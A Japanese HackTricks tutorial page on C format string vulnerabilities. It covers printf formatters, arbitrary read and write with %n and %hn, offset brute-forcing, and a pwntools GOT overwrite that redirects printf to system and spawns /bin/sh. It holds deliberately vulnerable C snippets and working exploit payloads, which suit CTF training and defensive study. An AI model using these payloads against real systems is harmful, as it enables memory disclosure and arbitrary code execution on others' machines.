フォーマット文字列
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Cの**printf
は、いくつかの文字列を出力するために使用できる関数です。この関数が期待する最初のパラメータは、フォーマッタを含む生のテキストです。続くパラメータは、生のテキストからフォーマッタを置き換えるための値です。
他の脆弱な関数には**sprintf()
やfprintf()
**があります。
脆弱性は、攻撃者のテキストがこの関数の最初の引数として使用されるときに現れます。攻撃者は、printfフォーマット文字列の機能を悪用して、任意のアドレス(読み取り可能/書き込み可能)にある任意のデータを読み書きするための特別な入力を作成することができます。この方法で任意のコードを実行することが可能です。
フォーマッタ:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
例:
- 脆弱な例:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- 通常の使用:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- 引数が不足している場合:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf 脆弱性:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
ポインタへのアクセス
フォーマット %<n>$x
は、n
が数字である場合、printf にスタックから n 番目のパラメータを選択するよう指示します。したがって、printf を使用してスタックから 4 番目のパラメータを読み取りたい場合は、次のようにできます:
printf("%x %x %x %x")
最初のパラメータから4番目のパラメータまで読み取ります。
または、次のようにできます:
printf("%4$x")
そして4番目を直接読み取ります。
攻撃者がprintf
のパラメータを制御していることに注意してください。これは基本的に、printf
が呼び出されるときに彼の入力がスタックに存在することを意味し、特定のメモリアドレスをスタックに書き込むことができるということです。
caution
この入力を制御する攻撃者は、スタックに任意のアドレスを追加し、printf
がそれにアクセスできるようにします。次のセクションでは、この動作をどのように利用するかが説明されます。
任意の読み取り
フォーマッタ**%n$s
を使用して、printf
がn位置にあるアドレスを取得し、それを文字列のように印刷することが可能です(0x00が見つかるまで印刷します)。したがって、バイナリのベースアドレスが0x8048000
**であり、ユーザー入力がスタックの4番目の位置から始まることがわかっている場合、次のようにバイナリの先頭を印刷することができます:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
入力の最初にアドレス0x8048000を置くことはできません。なぜなら、そのアドレスの末尾に0x00が付加されるからです。
オフセットを見つける
入力のオフセットを見つけるために、4または8バイト(0x41414141
)を送信し、その後に**%1$x
を続けて、A
を取得するまで値を増加**させます。
ブルートフォースprintfオフセット
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
どれほど役立つか
任意の読み取りは以下に役立ちます:
- メモリから バイナリをダンプする
- 機密情報が保存されているメモリの特定の部分にアクセスする(カナリア、暗号化キー、またはこのCTFチャレンジのようなカスタムパスワードなど)
任意の書き込み
フォーマッタ %<num>$n
は、スタックの<num>パラメータにおいて指定されたアドレスに書き込まれたバイト数を書き込みます。攻撃者がprintfを使って任意の数の文字を書き込むことができれば、%<num>$n
を使って任意のアドレスに任意の数を書き込むことができるようになります。
幸いなことに、9999という数を書くために、入力に9999個の"A"を追加する必要はなく、フォーマッタ %.<num-write>%<num>$n
を使用して、<num-write>
という数をnum
位置が指すアドレスに書き込むことが可能です。
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
ただし、通常、0x08049724
のようなアドレスを書くためには(これは一度に書くには非常に大きな数です)、**$hn
が$n
**の代わりに使用されます。これにより、2バイトだけを書くことができます。したがって、この操作は2回行われ、アドレスの最上位2バイトと最下位2バイトのそれぞれに対して行われます。
したがって、この脆弱性は任意のアドレスに何でも書き込むことを可能にします(任意書き込み)。
この例では、目標は後で呼び出される関数のアドレスを上書きすることです。これは他の任意書き込みからexec技術を悪用する可能性があります:
私たちは、ユーザーから引数を受け取る関数を上書きし、それを**system
関数にポイントします。
前述のように、アドレスを書くには通常2ステップが必要です:最初にアドレスの2バイトを書き、その後に残りの2バイトを書きます。そのために$hn
**が使用されます。
- HOBはアドレスの上位2バイトに呼び出されます
- LOBはアドレスの下位2バイトに呼び出されます
次に、フォーマット文字列の動作のために、最初に[HOB, LOB]の中で最小のものを書く必要があります、その後にもう一方を書きます。
HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools テンプレート
この種の脆弱性に対するエクスプロイトを準備するためのテンプレートは次の場所にあります:
または、こちらの基本的な例を参照してください:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
フォーマット文字列からBOFへ
フォーマット文字列の脆弱性の書き込みアクションを悪用して、スタックのアドレスに書き込むことが可能であり、バッファオーバーフロータイプの脆弱性を悪用することができます。
その他の例と参考文献
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32ビット、relroなし、canaryなし、nx、pieなし、スタックからフラグを漏洩させるためのフォーマット文字列の基本的な使用(実行フローを変更する必要はありません)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32ビット、relroあり、canaryなし、nx、pieなし、
fflush
のアドレスをwin関数で上書きするためのフォーマット文字列(ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32ビット、relroあり、canaryなし、nx、pieなし、
.fini_array
内のmainのアドレスに書き込むためのフォーマット文字列(フローがもう1回ループバックするように)およびsystem
のアドレスをGOTテーブルに書き込み、strlen
を指す。フローがmainに戻ると、strlen
がユーザー入力で実行され、system
を指すと、渡されたコマンドが実行されます。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。